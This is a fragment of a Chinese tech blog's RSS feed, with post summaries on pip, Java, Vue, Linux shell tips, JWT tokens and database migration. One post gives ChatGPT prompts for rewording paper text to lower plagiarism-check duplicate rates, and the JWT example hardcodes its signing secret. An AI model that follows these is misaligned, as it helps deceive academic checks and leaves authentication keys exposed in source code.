      <guid>https://bchobby.github.io/posts/dbfa5a3659f84390e2f0671ef1e06c1e/</guid>
      <description>十进制代码&#xA;十六进制代码&#xA;MCS 字符或缩写&#xA;DEC 多国字符名&#xA;ASCII 控制字符 1&#xA;0&#xA;0&#xA;NUL&#xA;空字符&#xA;1&#xA;1&#xA;SOH&#xA;标题起始 (Ctrl/A)&#xA;2&#xA;2&#xA;STX&#xA;文本起始 (Ctrl/B)&#xA;3&#xA;3&#xA;ETX&#xA;文本结束 (Ctrl/C)&#xA;4&#xA;4&#xA;EOT&#xA;传输结束 (Ctrl/D)&#xA;5&#xA;5&#xA;ENQ&#xA;询问 (Ctrl/E)&#xA;6&#xA;6&#xA;ACK&#xA;认可 (Ctrl/F)&#xA;7&#xA;7&#xA;BEL&#xA;铃 (Ctrl/G)&#xA;8&#xA;8&#xA;BS&#xA;退格 (Ctrl/H)&#xA;9&#xA;9&#xA;HT&#xA;水平制表栏 (Ctrl/I)&#xA;10&#xA;0A&#xA;LF&#xA;换行 (Ctrl/J)&#xA;11&#xA;0B&#xA;VT&#xA;垂直制表栏 (Ctrl/K)&#xA;12</description>
    </item>
    <item>
      <title>GitHub下载文件时就访问失败</title>
      <link>https://bchobby.github.io/posts/d90612cc7072490f2f39d466ad06291f/</link>
      <pubDate>Thu, 29 Jun 2023 15:43:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d90612cc7072490f2f39d466ad06291f/</guid>
      <description>在使用 GitHub 下载文件或访问网站时遇到了问题，可能是由以下原因造成的：&#xA;网络连接问题：可能是您的网络连接出现了问题，可以尝试重新启动您的路由器、电脑或者更换网络连接方式，例如使用移动网络连接。&#xA;GitHub 服务器问题：GitHub 服务器可能正在进行维护或者出现了故障，您可以访问 www.githubstatus.com/ 来查看是否有服务中断的情况。&#xA;访问限制：如果您尝试访问的文件或者网站被限制了，可能需要您进行一些操作才能绕过限制。例如，您可能需要登录到您的 GitHub 账户，或者通过 VPN 来访问。&#xA;如果您确定了问题的原因，可以根据具体情况采取以下措施：&#xA;如果是网络连接问题，请尝试重新启动网络连接设备，或者更换网络连接方式。&#xA;如果是 GitHub 服务器问题，请等待一段时间后再尝试访问，或者您可以尝试通过 www.githubstatus.com/ 查看是否有服务中断的情况。&#xA;如果是访问限制问题，请尝试登录您的 GitHub 账户或者通过 VPN 来访问。</description>
    </item>
    <item>
      <title>java实现大文件上传代码详解</title>
      <link>https://bchobby.github.io/posts/c2c88abe8ce829162846ea40b6943179/</link>
      <pubDate>Thu, 29 Jun 2023 14:35:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2c88abe8ce829162846ea40b6943179/</guid>
      <description>java实现大文件上传代码详解 1.包括核对是否已有文件，拆分文件，合并文件 2.使用流解决 package com.cty.demo; import com.cty.domain.MultipartFileParam; import com.cty.util.JsonResult; import org.apache.commons.io.FileUtils; import org.apache.tomcat.util.http.fileupload.servlet.ServletFileUpload; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import javax.servlet.http.HttpServletRequest; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.nio.channels.FileChannel; import java.util.*; import java.util.stream.Collectors; @RestController @RequestMapping(&#34;/bigFile&#34;) public class BigFileTest { private Logger logger = LoggerFactory.getLogger(BigFileTest.class); private String fileStorePath = &#34;/Users/chentingyi/cty/java/project/demo/test/temp&#34;; /** * @param fileMd5 * @Title: 判断文件是否上传过，是否存在分片，断点续传 * @MethodName: checkBigFile * @Exception * @Description: 文件已存在，1 * 文件没有上传过，0 * 文件上传中断过，2 以及现在有的数组分片索引 */ @RequestMapping(value = &#34;</description>
    </item>
    <item>
      <title>ChatGPT协助中 英文-论文写作技巧</title>
      <link>https://bchobby.github.io/posts/580661f888c390d130984b39a4687ff2/</link>
      <pubDate>Thu, 29 Jun 2023 14:31:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/580661f888c390d130984b39a4687ff2/</guid>
      <description>一、查重 输入以下句子，然后在输入需要 降重的语句即可。 Reduce the repetition rate of the following paragraphs by changing the word order, substituting synonyms, etc：&#xA;2、优化句子 输入以下句子，然后在输入需要 降重的语句即可。 I want you to act as an expert in scientific writing, i will provide you with some paragraphs in English or Chinese and your task is to rewriten the paragraph in the original language. You should use artificial intelligence tools, such as natural language processing, and rhetorical knowledeg and your expertise in effective scientific writing techniques to reply.</description>
    </item>
    <item>
      <title>jdk8切换jdk17失败问题处理</title>
      <link>https://bchobby.github.io/posts/fd41ed99c5fc9269b9395da83413c5b9/</link>
      <pubDate>Thu, 29 Jun 2023 14:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd41ed99c5fc9269b9395da83413c5b9/</guid>
      <description>切记当jdk8切换jdk17不好用时，记得查看环境变量path里面的JAVA_HOME/bin的位置，如果配置在了path的下面很有可能不好使，此时将path里面的JAVA_HOME\bin上移到最上面就好用了</description>
    </item>
    <item>
      <title>pip常用命令</title>
      <link>https://bchobby.github.io/posts/1a3edf3bc95e195a37348bb3800f2dcc/</link>
      <pubDate>Thu, 29 Jun 2023 14:07:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a3edf3bc95e195a37348bb3800f2dcc/</guid>
      <description>基本的命令解释，如下图：&#xA;安装 sudo easy_install pip&#xA;列出已安装的包 pip freeze or pip list&#xA;导出requirements.txt pip freeze &amp;gt; &amp;lt;目录&amp;gt;/requirements.txt&#xA;安装包 在线安装 pip install &amp;lt;包名&amp;gt; 或 pip install -r requirements.txt&#xA;通过使用== &amp;gt;= &amp;lt;= &amp;gt; &amp;lt;来指定版本，不写则安装最新版&#xA;requirements.txt内容格式为：&#xA;APScheduler==2.1.2&#xA;Django==1.5.4&#xA;MySQL-Connector-Python==2.0.1&#xA;MySQL-python==1.2.3&#xA;PIL==1.1.7&#xA;South==1.0.2&#xA;django-grappelli==2.6.3&#xA;django-pagination==1.0.7&#xA;安装本地安装包 pip install &amp;lt;目录&amp;gt;/&amp;lt;文件名&amp;gt; 或 pip install --use-wheel --no-index --find-links=wheelhouse/ &amp;lt;包名&amp;gt;&#xA;&amp;lt;包名&amp;gt;前有空格&#xA;可简写为&#xA;pip install --no-index -f=&amp;lt;目录&amp;gt;/ &amp;lt;包名&amp;gt;&#xA;卸载包 pip uninstall &amp;lt;包名&amp;gt; 或 pip uninstall -r requirements.txt&#xA;升级包 pip install -U &amp;lt;包名&amp;gt;</description>
    </item>
    <item>
      <title>Java8 Stream收集器collect操作</title>
      <link>https://bchobby.github.io/posts/87294ddce041cbaf87122673c74d216e/</link>
      <pubDate>Thu, 29 Jun 2023 13:56:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87294ddce041cbaf87122673c74d216e/</guid>
      <description>收集器， 一种通用的、 从流生成复杂值的结构。 只要将它传给 collect 方法， 所有的流就都可以使用它了。&#xA;收集器可以做很多事情，例如：计数、分组、归并、求和等。&#xA;收集器汇总 序号方法含义1Collectors.averageingInt&#xA;Collectors.averagingLong&#xA;Collectors.averagingDouble平均值2Collectors.collectingAndThen统计并转换3Collectors.counting计数4Collectors.groupingBy分组5Collectors.mapping替换6Collectors.maxBy&#xA;Collectors.minBy最大值、最小值7Collectors.partitioningBy按Boolean分组8Collectors.reducing归并9Collectors.summarizingInt&#xA;Collectors.summarizingLong&#xA;Collectors.summarizingDouble获得统计结果对象10Collectors.summingInt&#xA;Collectors.summingLong&#xA;Collectors.summingDouble求和11Collectors.toList将流转换成list12Collectors.toSet将流转换成set13Collectors.toCollection将流转换成Collection14Collectors.toMap&#xA;Collectors.toConcurrentMap将流转换成map Collectors.averagingInt、Collectors.averagingLong、Collectors.averagingDouble：&#xA;统计Stream&amp;lt;T&amp;gt;流中， (根据)每个元素T得到的类型为int/long/double的数值的平均值。&#xA;/** * 统计Stream&amp;lt;T&amp;gt;流中, (根据)每个元素T得到的类型为int/long/double的数值的平均值。 * * 注:统计结果为Double。 * * 注:Stream的collect方法，签名为: * &amp;lt;R, A&amp;gt; R collect(Collector&amp;lt;? super T, A, R&amp;gt; collector) * * 注:Collectors的caveragingLong方法，签名为: * Collector&amp;lt;T, ?, Double&amp;gt; averagingInt(ToIntFunction&amp;lt;? super T&amp;gt; mapper) * * 注:Collectors的caveragingLong方法，签名为: * Collector&amp;lt;T, ?, Double&amp;gt; averagingLong(ToLongFunction&amp;lt;? super T&amp;gt; mapper) * * 注:Collectors的caveragingLong方法，签名为: * Collector&amp;lt;T, ?, Double&amp;gt; averagingDouble(ToDoubleFunction&amp;lt;?</description>
    </item>
    <item>
      <title>Vue3&#43;TS封装全局按钮防抖函数</title>
      <link>https://bchobby.github.io/posts/daead548dec2079992c4be557139bdd0/</link>
      <pubDate>Thu, 29 Jun 2023 13:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daead548dec2079992c4be557139bdd0/</guid>
      <description>在Vue3 + TS项目中，我们经常需要对一些按钮进行防抖处理，以避免用户频繁点击而导致的性能问题。因此，我们可以封装一个全局的按钮防抖函数来简化代码，提高开发效率。&#xA;实现步骤 创建 src/utils/debounce.ts 文件。&#xA;在 debounce.ts 文件中，引入 lodash 库，并编写防抖函数。&#xA;import _ from &#39;lodash&#39;; export function debounce&amp;lt;T extends (...args: any[]) =&amp;gt; any&amp;gt;( fn: T, delay: number = 300 ): T { return _.debounce(fn, delay, { leading: true, trailing: false }) as T; } 在 src/main.ts 文件中，将防抖函数挂载到 Vue 实例的原型上，以便在全局使用。&#xA;import { createApp } from &#39;vue&#39;; import App from &#39;./App.vue&#39;; import { debounce } from &#39;./utils/debounce&#39;; const app = createApp(App); app.</description>
    </item>
    <item>
      <title>Linux shell常见实用的命令分享</title>
      <link>https://bchobby.github.io/posts/e771c4208d0b1949d6a9fc0dba75c359/</link>
      <pubDate>Thu, 29 Jun 2023 12:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e771c4208d0b1949d6a9fc0dba75c359/</guid>
      <description>对于经常使用linux系统的朋友们来说，基本常用的shell命令是少不了的，下面这篇文中就为大家总结了Linux shell的常用命令，有需要的朋友们可以参考借鉴，下面来一起学习学习吧。&#xA;导读&#xA;使用Linux shell是一些程序员每天的基本工作，但我们经常会忘记一些有用的shell命令和技巧。当然，命令我能记住，但我不敢说能记得如何用它执行某个特定任务。需要注意一点的是，有些用法需要在你的Linux系统里安装额外的软件。下面话不多说了，来看看详细的内容吧。&#xA;检查远程端口是否对bash开放：&#xA;echo &amp;gt;/dev/tcp/8.8.8.8/53 &amp;amp;&amp;amp; echo &#34;open&#34;&#xA;让进程转入后台：&#xA;Ctrl + z&#xA;将进程转到前台：&#xA;fg&#xA;产生随机的十六进制数，其中n是字符数：&#xA;openssl rand -hex n&#xA;在当前shell里执行一个文件里的命令：&#xA;source /home/user/file.name&#xA;截取前5个字符：&#xA;${variable:0:5}&#xA;SSH debug 模式:&#xA;ssh -vvv user@ip_address&#xA;SSH with pem key:&#xA;ssh user@ip_address -i key.pem&#xA;用wget抓取完整的网站目录结构，存放到本地目录中：&#xA;wget -r --no-parent --reject &#34;index.html*&#34; http://hostname/ -P /home/user/dirs&#xA;一次创建多个目录：&#xA;mkdir -p /home/user/{test,test1,test2}&#xA;列出包括子进程的进程树：&#xA;ps axwef&#xA;创建 war 文件:&#xA;jar -cvf name.war file&#xA;测试硬盘写入速度：&#xA;dd if=/dev/zero of=/tmp/output.img bs=8k count=256k; rm -rf /tmp/output.</description>
    </item>
    <item>
      <title>python中的虚拟环境</title>
      <link>https://bchobby.github.io/posts/45f18ffd618e29cb98d35eb8ab7aeeff/</link>
      <pubDate>Thu, 29 Jun 2023 12:00:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45f18ffd618e29cb98d35eb8ab7aeeff/</guid>
      <description>⛳目录 认识虚拟环境Python中的虚拟环境工具 🎈为什么需要虚拟环境? 辛辛苦苦写好一个项目,各种版本的第三方组件,凌乱的配置文件,在自己电脑上运行的十分流畅,想分享给同事使用,迁移过去之后,重建配置,各种跑不起来。一些比较特殊的工具需要依托于不同的Python版本,就像 robotframework,仅仅支持Python 2.7和&amp;gt;= 3.6。第三方库的管理,打包的时候避免有其他干扰的包。等等… 🎈认识虚拟环境 本节课我们先要知道什么是虚拟环境。接下来再介绍一些Python中的虚拟环境工具。在我们平时的工作中，可能存在一台电脑中拥有多个Python版本的情况。比如我们有一个Python2.7的版本。还有一个Python3.8的环境。他们两个都存在于我们当前的系统中。这就造成了一个问题。两个版本可能因为在同一个环境下造成使用的pip与Python的第三方包冲突的问题。 为了解决这个问题。我们在当前的。系统中专门创建了一个Python2.7的环境。这个环境中只有Python2.7的pip以及Python2.7的解释器。而Python3.8也可以创建属于一个自己的虚拟环境。这两个虚拟环境独立存在。并且可以做到互不冲突，互不影响。这就是虚拟环境的作用与目的。==我们只需要在各自的虚拟环境中，按照自己的需要的Python软件以及版本进行安装。这些软件与指定的版本也只针对于当前的虚拟环境。不会影响到其他的虚拟环境。==通过这里大家可以联想一下。我们使用pycharm的时候创建的每一个Python项目，他们都是各自的一个独立的虚拟环境，互相不会受到影响。 🎈Python中的虚拟环境工具 接下来让我们了解一下Python中都有哪些创建虚拟环境的软件。&#xA;Virtualenv&#xA;pyenv&#xA;第一个是virtualenv。它是非常常用的虚拟环境工具。不过它依赖于当前系统中都有哪些Python版本。比如我的电脑中有Python2.7和Python3.6。以及Python3.8的版本。那么virtualenv就只能在这三个版本中去创建虚拟环境。但是vitualenv使用简便。也是受到很多Python爱好者的追捧。第二个是pyenv。它和virtualenv一样，都是创建虚拟环境的工具。不过，pyenv并不依赖当前系统中都拥有哪些Python版本。也就是说，只要是Python拥有的版本，pyenv都可以在当前电脑中创建虚拟环境。它的做法就是先把我们希望创建的虚拟环境的Python版本安装到本地，然后再进行虚拟化操作，不过它的缺点是操作较为复杂，并且也是依赖于virtualenv。甚至我们可以认为，pyenv最终还是需要通过virtualenv来进行虚拟环境的创建,由于pyenv操作相对复杂，所以我们本节课主要介绍virtualenv的使用方法。在日后对Python使用更加娴熟之后，再去关注pyenv可能会更加轻松,Virtualenv也是Python的第三方包。不过它和IPython一样，都是在命令行下去执行的&#xA;我们通过pip install virtualenv来下载并安装它。当安装完成之后，我们希望把虚拟环境创建在哪个目录下，就要提前进入到这个文件夹,这个也是选择创建虚拟环境的目录.&#xA;接下来，输入virtualenv -p python3 pyenv回车程序将会在我们选择的目录下创建一个虚拟环境的文件夹。其实虚拟环境就是一个文件夹。接下来，我们通过调用./penv/bin/activate来启动虚拟环境。Windows系统，可以直接进入到pv文件夹下的Scripts文件夹中，直接输入.\activate回车，就可以进入到虚拟环境&#xA;如果我们想退出虚拟环境。我们只需要直接输入deactivate，就可以将退出我们现在的虚拟环境。最后，请注意。我们进入的虚拟环境只是在当前我们打开的它们的终端有效。如果我们开启了多个terminal终端，而且需要每一个都在虚拟环境中，则需要对每个terminal终端都执行以上操作才可以。&#xA;虚拟环境的好处 虚拟环境（Virtual Environment）是 Python 中用于隔离项目依赖和开发环境的一种机制。它的作用如下：&#xA;项目隔离: 虚拟环境允许您在同一台计算机上创建多个独立的 Python 环境，每个环境都可以具有自己的包和依赖关系。这样可以避免不同项目之间的依赖冲突问题，确保每个项目都有独立、干净的开发环境。&#xA;依赖管理: 在虚拟环境中，您可以安装和管理项目所需的特定版本的 Python 包和依赖项。这使得您可以精确地控制每个项目所使用的包版本，避免由于包升级或变更而导致的兼容性问题。&#xA;可移植性: 虚拟环境使您的项目更具可移植性。您可以将项目的虚拟环境打包并与项目一起分发，以确保其他人在不同的计算机上能够轻松地重现和运行项目。&#xA;环境隔离: 虚拟环境提供了一种隔离的开发环境，您可以在其中安装和测试新的 Python 包和工具，而不会对系统的全局 Python 环境产生影响。这使得您可以更安全地尝试新的软件库或工具，而不会破坏您的系统环境。&#xA;总而言之，虚拟环境使得多个项目可以独立地开发和运行，避免了依赖冲突和环境污染问题，提供了更好的可移植性和灵活性。这是 Python 开发中非常有用的工具之一，推荐在项目中使用虚拟环境来管理依赖和环境。&#xA;虚拟环境和使用不同的解释器都是为了实现项目的隔离和依赖管理，确保每个项目都可以使用所需的特定版本的软件包，但虚拟环境提供了更方便和统一的方式来管理和切换不同的环境。&#xA;virtualenv 是一个用于创建独立 Python 环境的工具，它可以用来创建一个隔离的 Python 运行环境，以便在同一台机器上同时管理多个项目所需的不同依赖关系。&#xA;virtualenv 并不是一个包或模块，而是一个用于创建和管理独立环境的命令行工具。通过使用 virtualenv，您可以在单个计算机上创建多个相互独立的 Python 环境，并为每个环境选择不同的包和模块版本，而不会相互干扰。&#xA;创建一个虚拟环境时，virtualenv 会在指定的目录中创建一个新的 Python 安装，其中包括 Python 解释器和一些必要的库和工具。您可以在虚拟环境中安装和管理项目所需的特定版本的软件包，而不会影响系统级的 Python 安装和其他项目的依赖关系。&#xA;简而言之，virtualenv 是一个用于创建独立 Python 环境的工具，可以帮助您隔离和管理不同项目的依赖关系。</description>
    </item>
    <item>
      <title>Windows部署Apache</title>
      <link>https://bchobby.github.io/posts/6eda2231ad41a259134520440e694825/</link>
      <pubDate>Thu, 29 Jun 2023 11:47:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eda2231ad41a259134520440e694825/</guid>
      <description>什么是Apache Apache是指Apache HTTP Server，它是由Apache软件基金会开发和维护的一款开源的HTTP服务器软件。它是目前世界上最流行的Web服务器软件之一，被广泛用于搭建和托管网站。Apache HTTP Server的主要功能是接收客户端的HTTP请求，并向客户端提供相应的Web页面或其他资源。它支持多种操作系统，包括Windows、Linux、Unix等，可以在各种硬件平台上运行。Apache的设计目标之一是稳定性和安全性。它通过模块化的架构提供了丰富的功能扩展和灵活性，可以根据具体需求加载不同的模块。这使得开发人员和系统管理员可以根据自己的需求和配置来定制Apache服务器。&#xA;Apache还支持多种协议和技术，如HTTP/1.1、HTTPS、CGI、FastCGI、PHP、Python、Perl等，使得开发者可以使用各种编程语言和技术来构建动态的Web应用程序。除了功能强大和可靠性高之外，Apache还受益于其开源的特性。它的源代码对公众开放，任何人都可以查看、修改和贡献代码。这促进了全球开发者社区的参与，使得Apache能够不断改进和适应新的技术和需求。&#xA;Apache的多种用途 Apache的用途非常广泛，以下是一些常见的用途：&#xA;提供Web服务：Apache HTTP Server是最常见的用途之一，它可以作为Web服务器来托管网站和提供Web服务。它能够处理HTTP请求并将相应的Web页面发送给客户端，支持静态页面和动态内容。构建应用程序服务器：除了简单的静态网页，Apache还支持多种动态内容和应用程序，如PHP、Python、Perl等。它可以作为应用程序服务器，处理和执行动态脚本，并生成动态的Web页面和服务。代理服务器：Apache可以用作代理服务器，充当客户端和其他服务器之间的中介。代理服务器可以缓存请求，提高性能和响应速度，还可以实现负载均衡和反向代理等功能。FTP服务器：Apache还提供了支持文件传输协议（FTP）的模块，可以用作FTP服务器，用于文件共享和传输。虚拟主机托管：Apache支持虚拟主机，可以在一台物理服务器上托管多个域名或网站。这允许多个网站共享同一台服务器，并提供独立的Web服务。安全性和认证：Apache提供了多种安全性和认证的功能，如SSL/TLS加密、基本认证、访问控制等。这使得它成为安全和受保护的Web服务器选择。日志记录和统计：Apache可以记录访问日志和错误日志，帮助管理员分析和监控服务器的运行情况。还可以通过访问日志生成统计数据，了解网站的访问量、用户行为等信息。 下载Apache 可以通过官网进行下载:&#xA;Apache官网：Welcome to The Apache Software Foundation!&#xA;Apache官网下载页面：Apache Projects Releases&#xA;也可以通过Apache Lounge 社区下载：&#xA;Apache Lounge 社区：Apache Lounge&#xA;Apache Lounge 社区下载页面：Apache VS17 binaries and modules download&#xA;有细心的小伙伴会发现这两个页面的域名不一样，这是因为https://www.apache.org/ 是 Apache的官方网站，而 https://www.apachelounge.com/download/ 则是 Apache Lounge 社区提供的 Apache HTTP 服务器的 Windows 版本二进制文件下载网站。&#xA;Apache安装 我这里下载的是httpd-2.4.56这个版本，将下载好的压缩包解压出来，然后放到一个合适的位置，我这里是将解压出来的文件夹放到D盘的根目录。（目录中不要出现中文）&#xA;然后打开Apache24这个目录中的bin文件夹，然后运行cmd。&#xA;然后输入httpd。&#xA;这里出现httpd: Syntax error on line 39 of D:/Apache24/conf/httpd.conf: ServerRoot must be a valid directory是因为http.conf中的Define SRVROOT &#34;</description>
    </item>
    <item>
      <title>解决 APK(s) generated successfully for module ‘‘ with 0 build variants</title>
      <link>https://bchobby.github.io/posts/b670c3b4dc99cc0dcadea8f3caf4913c/</link>
      <pubDate>Thu, 29 Jun 2023 11:36:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b670c3b4dc99cc0dcadea8f3caf4913c/</guid>
      <description>使用Android Studio常规方式打包时出现generated successfully for module &#39;&#39; with 0 build variants问题，但是又没有报错，一头雾水，这时我们可以通过别的方式来打release包&#xA;1、打开如图所示配置页面，在modules中添加release配置&#xA;2、根据以下步骤添加signing config为 上一步骤添加的release&#xA;3、打开build Variants，将打包方式变为release&#xA;4、使用如下方式就可以打出release包了</description>
    </item>
    <item>
      <title>WPF_初步认识TypeConverter</title>
      <link>https://bchobby.github.io/posts/692f32bf067086abcb37e53ffe300563/</link>
      <pubDate>Thu, 29 Jun 2023 11:27:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/692f32bf067086abcb37e53ffe300563/</guid>
      <description>WPF对象的属性通常为String类型，但并不总是。类型不符时对其进行String赋值显然是不行的，但是可以通过类型转换类将String转换为对应类型后再进行赋值。&#xA;1.类型转换类继承TypeConverter类&#xA;2.重写ConvertFrom函数&#xA;3.为被赋值类（通过TypeConverterAttribute特征类）标注特征&#xA;&amp;lt;local:Human x:Key=&#34;human&#34; Name=&#34;Tom&#34; Child=&#34;LittleTom&#34;/&amp;gt; //特性（可以理解为Java中的注解，但Java的注解参考了特性） [TypeConverterAttribute(typeof(NameToHumanTypeConverter))]//TypeConverterAttribute可简写为TypeConverter（特征类在使用时可省略Attribute） public class Human { public string Name { get; set; } public Human Child { get; set; } } //类型转换器：前端赋值时可能出现类型不符的情况，此时将调用该方法改变数据类型，再赋值 public class NameToHumanTypeConverter : TypeConverter { public override object? ConvertFrom(ITypeDescriptorContext? context, CultureInfo? culture, object value) { string name = value.ToString(); Human human = new Human(); human.Name = name; return human; } } 上述代码中，&#34;LittleTom&#34;将作为参数value被传入ConvertFrom函数，ConvertFrom函数的返回值将被赋值给Child属性</description>
    </item>
    <item>
      <title>【Vue】基于 element-ui 封装弹窗</title>
      <link>https://bchobby.github.io/posts/8903fc58e36b9cea07f28bb564f9b6e3/</link>
      <pubDate>Thu, 29 Jun 2023 10:27:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8903fc58e36b9cea07f28bb564f9b6e3/</guid>
      <description>文章目录 弹窗封装： &amp;lt;template&amp;gt; &amp;lt;el-dialog :visible=&#34;modalVisible&#34; title=&#34;批量导入&#34; centered @close=&#34;$emit(&#39;close&#39;)&#34;&amp;gt; &amp;lt;span&amp;gt;弹窗内容&amp;lt;/span&amp;gt; &amp;lt;span slot=&#34;footer&#34; class=&#34;dialog-footer&#34;&amp;gt; &amp;lt;el-button @click=&#34;closeModal&#34;&amp;gt;取 消&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;onConfirm&#34;&amp;gt;确 定&amp;lt;/el-button&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props: { // modal是否可见 modalVisible: { type: Boolean, default: false, }, }, data() { return {}; }, methods: { onConfirm() { this.$emit(&#39;bulkImport&#39;, 11); }, closeModal() { this.$emit(&#39;close&#39;); }, }, watch: {}, computed: {}, components: {}, mounted() {}, }; &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;less&#34; scoped&amp;gt; &amp;lt;/style&amp;gt; 使用弹窗： &amp;lt;template&amp;gt; &amp;lt;el-button type=&#34;</description>
    </item>
    <item>
      <title>如何将数据从 Oracle 迁移到 MySQL：分步指南</title>
      <link>https://bchobby.github.io/posts/74ee85c68eb8574116b278d9c40a7a75/</link>
      <pubDate>Thu, 29 Jun 2023 09:55:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74ee85c68eb8574116b278d9c40a7a75/</guid>
      <description>数据迁移在各种业务场景中发挥着至关重要的作用。当您的公司将其服务从本地迁移到云端时，数据迁移就会介入，将数据从旧位置传输到新位置。另一种常见的做法可能是更换或升级服务器或存储设备。在这种情况下，数据迁移可确保数据的顺利高效传输，最大限度地减少停机时间和中断。此外，数据迁移可以确保重要信息在新环境中保持准确和可访问，从而帮助维护数据库的完整性和一致性。&#xA;在本文中，我们将探讨如何使用dbForge Studio for MySQL和Devart ODBC driver for Oracle将数据从 Oracle 迁移到 MySQL 表。 为什么从 Oracle 数据库迁移到 MySQL 数据库？ 您可能出于任何原因需要将数据从 Oracle 迁移到 MySQL 数据库，例如：&#xA;与 Oracle 相比，MySQL 更具成本效益。由于 MySQL 是一个开源数据库，因此不需要相关的许可成本。MySQL 因其简单的设置过程和用户​​友好的界面而简单而灵活。与 Oracle 更复杂且功能丰富的 PL/SQL 语言相比，MySQL 中的语法和命令通常更容易学习和理解。由于其高性能和可扩展性，MySQL 可以高效处理大量数据，同时保持最佳的数据库性能。MySQL 受益于开源社区，该社区提供了大量故障排除和开发支持、资源和文档。社区经常发布 MySQL 数据库的更新和改进，确保其保持可靠和最新。MySQL兼容多种平台和操作系统，可以轻松地与各种编程语言、框架和工具集成，从而使数据迁移更加容易。 先决条件 数据库迁移包括迁移模式、表和数据。为此，我们将下载并使用以下工具：&#xA;dbForge Edge&#xA;是一个包含四个数据库 IDE 的通用套件，每个 IDE 都允许在不同的数据库系统上执行数据库开发、管理和管理任务，包括 Microsoft SQL Server、MySQL、MariaDB、Oracle、PostgreSQL 和 Amazon Redshift。所有 Studio 中都提供的数据导入功能允许用户快速、轻松地从多个源（包括 ODBC 驱动程序）导入数据。Devart ODBC Driver for Oracle&#xA;它是一个可靠且简单的工具，可在 32 位和 64 位 Windows、macOS 和 Linux 上通过 ODBC 兼容工具访问 Oracle 数据库。 使用 ODBC 的优点 在深入研究数据迁移之前，我们先来看看开发人员和组织通过使用 Devart ODBC驱动程序可以获得的好处：</description>
    </item>
    <item>
      <title>springboot整合jwt实现token，简明笔记</title>
      <link>https://bchobby.github.io/posts/f99f3e7efd138f2fb0fb6a1dbadee6d7/</link>
      <pubDate>Thu, 29 Jun 2023 09:39:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f99f3e7efd138f2fb0fb6a1dbadee6d7/</guid>
      <description>1、什么是JWT JWT(JSON Web Token)是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。&#xA;它将用户信息加密到token里，服务器不保存任何用户信息。服务器通过使用保存的密钥验证token的正确性，只要正确即通过验证；应用场景如用户登录。&#xA;JWT详细讲解请见 github：https://github.com/jwtk/jjwt&#xA;1.1传统Cookie+Session与JWT对比 ① 在传统的用户登录认证中，因为http是无状态的，所以都是采用session方式。用户登录成功，服务端会保证一个session，当然会给客户端一个sessionId，客户端会把sessionId保存在cookie中，每次请求都会携带这个sessionId。&#xA;cookie+session这种模式通常是保存在内存中，而且服务从单服务到多服务会面临的session共享问题，随着用户量的增多，开销就会越大。而JWT不是这样的，只需要服务端生成token，客户端保存这个token，每次请求携带这个token，服务端认证解析就可。&#xA;② JWT方式校验方式更加简单便捷化，无需通过redis缓存，而是直接根据token取出保存的用户信息，以及对token可用性校验，单点登录，验证token更为简单。&#xA;1.2 JWT的组成 三部分：&#xA;第一部分为头部（header)第二部分我们称其为载荷（payload)第三部分是签证（signature) 由前两部分组成&#xA;各部分之间，用.分隔。 例如：&#xA;KV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWIiiwiaWF0IjoxNTY1NTk3MDUzLCJleHAiOjE1NjU2MDA2NTN9.afw5WFm-TwZltGWb1Xs6oBEk5QdaLzlHxDM73IOyeKPF_iN1bLvDAlB7UnSu-Z-Zs&#xA;2、引入依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.auth0&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;java-jwt&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 3、编写工具类 编写工具类,静态方法，便于调用：&#xA;import com.auth0.jwt.JWT; import com.auth0.jwt.algorithms.Algorithm; import com.auth0.jwt.interfaces.DecodedJWT; import java.util.Calendar; public class JwtUitls { //token超时变量，N（秒）后 public static final int TOKEN_TIMEOUT = 60*60*1; // 密钥 public static final String APP_SECRET = &#34;xxx@#$%^&amp;amp;dong&#34;; //生成token方法:传入用户名、用户ID 作为payload写入，便于后期解析 public static String createToken(int id,String name) { Calendar instance=Calendar.getInstance(); instance.</description>
    </item>
    <item>
      <title>huggingface transformers loadset 导入本地文件</title>
      <link>https://bchobby.github.io/posts/71fd2de8a06bcebbfa3f8e743b063aad/</link>
      <pubDate>Wed, 28 Jun 2023 20:01:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71fd2de8a06bcebbfa3f8e743b063aad/</guid>
